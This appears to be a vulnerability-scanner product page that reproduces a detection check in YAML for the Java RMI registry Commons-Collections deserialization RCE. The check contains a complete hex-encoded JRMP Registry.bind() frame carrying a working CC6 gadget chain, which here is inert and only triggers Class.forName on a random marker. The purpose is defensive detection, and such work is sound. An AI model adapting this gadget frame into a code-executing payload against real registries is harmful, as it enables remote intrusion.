Java RMI — 1 vulnerability check

noctis ships 1 vulnerability check for Java RMI, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Java RMI registry Commons-Collections deserialization RCE

CVECVE-2016-3642, CVE-2016-1487
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicesjava-rmi, rmiregistry
Detectionscript, set_var, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/java-rmi/rmi-registry-commons-collections-deserialization-rce.yaml

A Java RMI registry (JRMP, usually TCP 1099) unmarshals the arguments of every remote call with Java deserialization. When Apache Commons Collections <= 3.2.1 is on the registry's classpath and no deserialization filter blocks it (JDK 8 before 8u121, 7 before 7u131 or 6 before 6u141, or a later JDK whose registry filter was relaxed), the InvokerTransformer gadget in those arguments runs attacker-chosen code. From JDK 8u141 on, the registry only unmarshals bind() arguments sent from its own host, so a relaxed-filter registry on such a JDK is not detectable remotely. Products shipping such a registry include SolarWinds Virtualization Manager <= 6.3.1 (CVE-2016-3642) and Lexmark Markvision Enterprise < 2.3.0 (CVE-2016-1487). This check performs the JRMP handshake, then sends a Registry.bind() call whose second argument is a real Commons-Collections gadget chain (HashSet -> TiedMapEntry -> LazyMap -> ChainedTransformer) whose only action is the reflective call Class.forName("Noctis<random>"). The class does not exist, so a vulnerable registry returns a ClassNotFoundException naming that random marker in its serialized exception reply. Seeing the marker in that exception proves the registry executed an attacker-chosen method call. Nothing is executed, written, bound or loaded on the target; a registry with the JEP 290 filter or Commons Collections 3.2.2 answers with a rejection that carries no marker.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends a binary frame on the open socket
  4. Sends … on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. Sends a binary frame on the open socket
  8. Sends … on the open socket
  9. Parses / computes the next value with a Rhai script
  10. Checks verdict.hit for ^true$ → finding QoD 97: JRMP Registry.bind() call carrying a Commons-Collections InvokerTransformer chain that calls Class.forName("…"): the registry's exceptional…

References:

Feed source — tests/vulnerabilities/java-rmi/rmi-registry-commons-collections-deserialization-rce.yaml
uid: 75fdf144-53d5-4f91-bb22-a085ed1f0cb0
name: "Java RMI registry Commons-Collections deserialization RCE"
description: |
  A Java RMI registry (JRMP, usually TCP 1099) unmarshals the arguments of every remote
  call with Java deserialization. When Apache Commons Collections <= 3.2.1 is on the
  registry's classpath and no deserialization filter blocks it (JDK 8 before 8u121, 7
  before 7u131 or 6 before 6u141, or a later JDK whose registry filter was relaxed), the
  InvokerTransformer gadget in those arguments runs attacker-chosen code. From JDK 8u141
  on, the registry only unmarshals bind() arguments sent from its own host, so a
  relaxed-filter registry on such a JDK is not detectable remotely. Products shipping
  such a registry include SolarWinds Virtualization Manager <= 6.3.1 (CVE-2016-3642) and
  Lexmark Markvision Enterprise < 2.3.0 (CVE-2016-1487).
  This check performs the JRMP handshake, then sends a Registry.bind() call whose second
  argument is a real Commons-Collections gadget chain (HashSet -> TiedMapEntry -> LazyMap
  -> ChainedTransformer) whose only action is the reflective call
  Class.forName("Noctis<random>"). The class does not exist, so a vulnerable registry
  returns a ClassNotFoundException naming that random marker in its serialized
  exception reply. Seeing the marker in that exception proves the registry executed an
  attacker-chosen method call. Nothing is executed, written, bound or loaded on the
  target; a registry with the JEP 290 filter or Commons Collections 3.2.2 answers with a
  rejection that carries no marker.
cves: [CVE-2016-3642, CVE-2016-1487]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
  - java-rmi
  - rmi-registry
  - jrmp
  - commons-collections
  - deserialization
  - solarwinds
  - lexmark
  - rce
  - intrusive
services:
  - java-rmi
  - rmiregistry
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-3642"
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-1487"
  - "https://seclists.org/fulldisclosure/2016/Jun/29"
  - "https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java"
  - "https://openjdk.org/jeps/290"
  - "OpenVAS/Greenbone NASL 2016/gb_rmi_service_java_deserialization.nasl (OID 1.3.6.1.4.1.25623.1.0.105765, GPL-2.0-only)"

# Ported from the OpenVAS active check gb_rmi_service_java_deserialization.nasl: same
# JRMP handshake ("JRMI" v2 StreamProtocol, 0x4e ProtocolAck), same client endpoint
# (127.0.0.2), same Call (0x50) to the registry ObjID with op 0 / interface hash
# 0x44154dc9d4e63bdf, i.e. Registry.bind(<name>, <gadget>) as ysoserial's
# RMIRegistryExploit sends it. Deliberate deviations, all making the check stronger:
#
#   * Gadget: the NASL sends CommonsCollections1 (AnnotationInvocationHandler wrapped in a
#     Proxy), which only fires on JDK < 8u71. We send the HashSet -> TiedMapEntry ->
#     LazyMap -> ChainedTransformer chain ("CC6"), which fires on every JDK as long as
#     commons-collections <= 3.2.1 is reachable and the registry filter lets it through.
#     The registry reads the bind() arguments with readObject() before casting them to
#     Remote, so no Proxy wrapper is needed.
#   * Proof: the NASL runs `uname` and has no way to see its output in the reply. Ours
#     needs no callback: ConstantTransformer(Class.class) + InvokerTransformer("forName",
#     String, "Noctis<random>"); RMI serializes the resulting FunctorException ->
#     InvocationTargetException -> ClassNotFoundException(<marker>) back in the
#     exceptional ReturnData (0x51 ... 77 0f 02), which is in-band proof of an
#     attacker-chosen reflective method call (the RCE primitive), and the call is inert.
#   * Class annotations: RMI's MarshalInputStream reads a codebase annotation after each
#     class descriptor, so every descriptor carries a TC_NULL (0x70) before
#     TC_ENDBLOCKDATA (0x78), exactly like the NASL's stream.
#
# Discrimination (validated against a real JDK 21 registry, see
# infra/docker/java-rmi-mock/gen/):
#   - CC 3.1, registryFilter=*       : FunctorException -> ClassNotFoundException: <marker>
#   - CC 3.1, default JEP 290 filter : InvalidClassException "filter status: REJECTED"
#   - CC 3.2.2, registryFilter=*     : UnsupportedOperationException (InvokerTransformer
#                                      serialization disabled)
#   - no commons-collections         : ClassNotFoundException: ...TiedMapEntry
# None carries the marker except the vulnerable one. The marker must sit in an
# exceptional JRMP ReturnData, and a reply that still shows it followed by the request's
# "forName" string is rejected, so a service that echoes the request cannot match.
#
# Limitation: on JDK >= 8u141 the registry checks that bind() comes from a local host
# before unmarshalling its arguments, so a relaxed-filter registry on such a JDK is only
# reachable from the host itself. Every pre-JEP 290 JDK unmarshals first.
steps:
  - id: gen-marker
    action: script
    store_as: cc
    code: |
      #{ marker: "Noctis" + substr(str_replace(oob_token, "-", ""), 0, 11) }

  - id: init-ack
    action: set_var
    var_name: ack
    var_value: {responded: false, response_hex: null}

  - id: init-ack-late
    action: set_var
    var_name: ack_late
    var_value: {responded: false, response_hex: null}

  - id: init-reply
    action: set_var
    var_name: reply
    var_value: {responded: false, response_hex: null}

  - id: init-late
    action: set_var
    var_name: late
    var_value: {responded: false, response_hex: null}

  - id: open-registry
    action: tcp_open
    handle: rmi
    port: "{{port}}"
    timeout_secs: 10
    store_as: conn

  # JRMP header: "JRMI", version 2, StreamProtocol (0x4b).
  - id: handshake
    action: tcp_send
    handle: rmi
    send_hex: "4a524d4900024b"
    store_as: ack

  - id: wait-ack
    action: sleep
    duration_ms: 2000
    condition: "conn.connected == true && ack.responded == false"

  - id: read-ack
    action: tcp_send
    handle: rmi
    send: ""
    condition: "conn.connected == true && ack.responded == false"
    store_as: ack_late

  # ProtocolAck (0x4e) + the endpoint the server sees us as.
  - id: check-ack
    action: script
    store_as: hs
    code: |
      let h = "";
      if type_of(ack.response_hex) == "string" { h += ack.response_hex; }
      if type_of(ack_late.response_hex) == "string" { h += ack_late.response_hex; }
      #{ ok: h.starts_with("4e") }

  # Client endpoint (u16 len "127.0.0.2", port 0), then Call (0x50) + serialization
  # stream: ObjID of the registry (all zero), op 0 (bind), interface hash, the name
  # "noctis", then the serialized HashSet{TiedMapEntry(LazyMap(ChainedTransformer[
  #   ConstantTransformer(java.lang.Class),
  #   InvokerTransformer("forName", [String], [<marker>])]))}
  # produced by an ObjectOutputStream with null class annotations (commons-collections
  # 3.1); only the marker string (TC_STRING 0x74 + u16 length + bytes) is spliced in.
  - id: build-call
    action: script
    store_as: req
    condition: "hs.ok == true"
    code: |
      let g = "0009" + hexstr("127.0.0.2") + "00000000" + "50";
      g += "aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf7400066e6f637469";
      g += "73737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000023f4000000000";
      g += "0001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e5469";
      g += "65644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b";
      g += "4c00036d617074000f4c6a6176612f7574696c2f4d61703b70787071007e00007372002a6f72672e6170616368652e63";
      g += "6f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c000766616374";
      g += "6f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65";
      g += "723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f7273";
      g += "2e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d6572737400";
      g += "2d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078";
      g += "707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65";
      g += "723bbd562af1d8341899020000707870000000027372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65";
      g += "6374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c00";
      g += "0969436f6e7374616e7471007e00047078707672000f6a6176612e6c616e672e436c6173732c7e5503d9bf9553020000";
      g += "7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e49";
      g += "6e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c61";
      g += "6e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b";
      g += "69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c61";
      g += "6e672e4f626a6563743b90ce589f1073296c02000070787000000001";
      g += "74";
      g += p16be(strlen(cc.marker));
      g += hexstr(cc.marker);
      g += "740007666f724e616d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007078700000";
      g += "0001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb342020000707870737200116a6176612e757469";
      g += "6c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870";
      g += "3f4000000000000c77080000001000000000787878";
      #{ frame: g }

  - id: send-call
    action: tcp_send
    handle: rmi
    send_hex: "{{req.frame}}"
    condition: "hs.ok == true"
    store_as: reply

  # tcp_send gives up when the first reply byte takes > 500 ms (engine #1417), and the
  # serialized exception (with its stack traces) can take longer or arrive in parts.
  # Wait, then read whatever arrived late on the same socket.
  - id: wait-late
    action: sleep
    duration_ms: 3000
    condition: "hs.ok == true && reply.responded == false"

  - id: read-late
    action: tcp_send
    handle: rmi
    send: ""
    condition: "hs.ok == true"
    store_as: late

  - id: close-registry
    action: tcp_close
    handle: rmi

  - id: verify
    action: script
    store_as: verdict
    code: |
      let h = "";
      if type_of(reply.response_hex) == "string" { h += reply.response_hex; }
      if type_of(late.response_hex) == "string" { h += late.response_hex; }
      let mk = hexstr(cc.marker);
      // 51 = ReturnData, aced0005 = stream magic, 770f 02 = block of 15 bytes starting
      // with ExceptionalReturn.
      let exceptional = h.starts_with("51aced0005770f02");
      let echoed = h.contains(mk + "740007666f724e616d65");
      let cnfe = h.contains(hexstr("java.lang.ClassNotFoundException"));
      #{ hit: exceptional && cnfe && h.contains(mk) && !echoed }

  - id: confirm
    action: match
    source: verdict.hit
    pattern: "^true$"
    on_match:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "JRMP Registry.bind() call carrying a Commons-Collections InvokerTransformer chain that calls Class.forName(\"{{cc.marker}}\"): the registry's exceptional ReturnData carries the serialized java.lang.ClassNotFoundException naming that random class — the registry deserialized the gadget and executed the attacker-chosen method call"
      stop: true

View these feeds on GitHub